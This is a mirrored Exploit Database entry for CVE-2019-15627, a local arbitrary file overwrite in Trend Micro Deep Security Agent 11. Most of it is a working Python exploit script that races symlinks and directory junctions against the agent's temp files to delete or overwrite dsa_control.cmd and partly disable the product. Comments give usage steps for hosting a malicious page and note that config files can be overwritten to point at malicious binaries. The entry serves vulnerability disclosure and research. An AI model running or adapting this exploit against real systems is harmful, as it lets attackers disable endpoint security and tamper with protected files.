Trend Micro Deep Security Agent 11 – Arbitrary File Overwrite

Exploit Database
116 阅读

作者： Peter Lapp

日期： 2019-12-06
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/47751/

100

101

102

103

104

105

106

107

# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite

# Exploit Author : Peter Lapp

# Exploit Date: 2019-12-05

# Vendor Homepage :https://www.trendmicro.com/en_us/business.html

# Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716

# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.

# CVE: 2019-15627

# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)

# This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools )

# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)

# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS,

# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired.

# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.

# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.

# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file.

# So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage,

# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces,

# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that

# are ripe for the writing that can then point to a malicious binary.

# Usage:

# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part.

# 2. Open a browser (preferrably IE) and start the script

# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).

# 4. Keep refreshing the page until you see the script create the target file overwritten.

# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit.

import time

import os

import subprocess

import sys

import webbrowser

from watchdog.observers import Observer

from watchdog.events import FileSystemEventHandler

class Stage1_Handler(FileSystemEventHandler):

def __init__(self):

self.filenames = []

def on_created(self, event):

filename = os.path.basename(event.src_path)

if filename in self.filenames:

print ('Starting symlink creation.')

watcher1.stop()

symlinkery(self.filenames)

else:

self.filenames.append(filename)

print ('File %s created.') % filename

class Stage2_Handler(FileSystemEventHandler):

def on_any_event(self, event):

if os.path.basename(event.src_path) == 'dsa_control.cmd':

print "Target file overwritten/deleted. Cleaning up."

subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True)

subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True)

os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"')

os.system('rmdir /S /Q "C:\\test"')

os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp')

watcher2.stop()

sys.exit(0)

class Watcher(object):

def __init__(self, event_handler, path_to_watch):

self.event_handler = event_handler

self.path_to_watch = path_to_watch

self.observer = Observer()

def run(self):

self.observer.schedule(self.event_handler(), self.path_to_watch)

self.observer.start()

try:

while True:

time.sleep(1)

except KeyboardInterrupt:

self.observer.stop()

self.observer.join()

def stop(self):

self.observer.stop()

def symlinkery(filenames):

print "Enter symlinkery"

for filename in filenames:

print "Creating symlink for %s" % filename

cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename

subprocess.Popen(cmdname, shell=True)

os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig')

os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test')

watcher2.run()

print "Watcher 2 started"

try:

os.mkdir('C:\\test')

except:

pass

path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus'

path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\'

watcher1 = Watcher(Stage1_Handler,path1)

watcher2 = Watcher(Stage2_Handler,path2)

switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d"

subprocess.Popen(switcheroo, shell=True)

watcher1.run()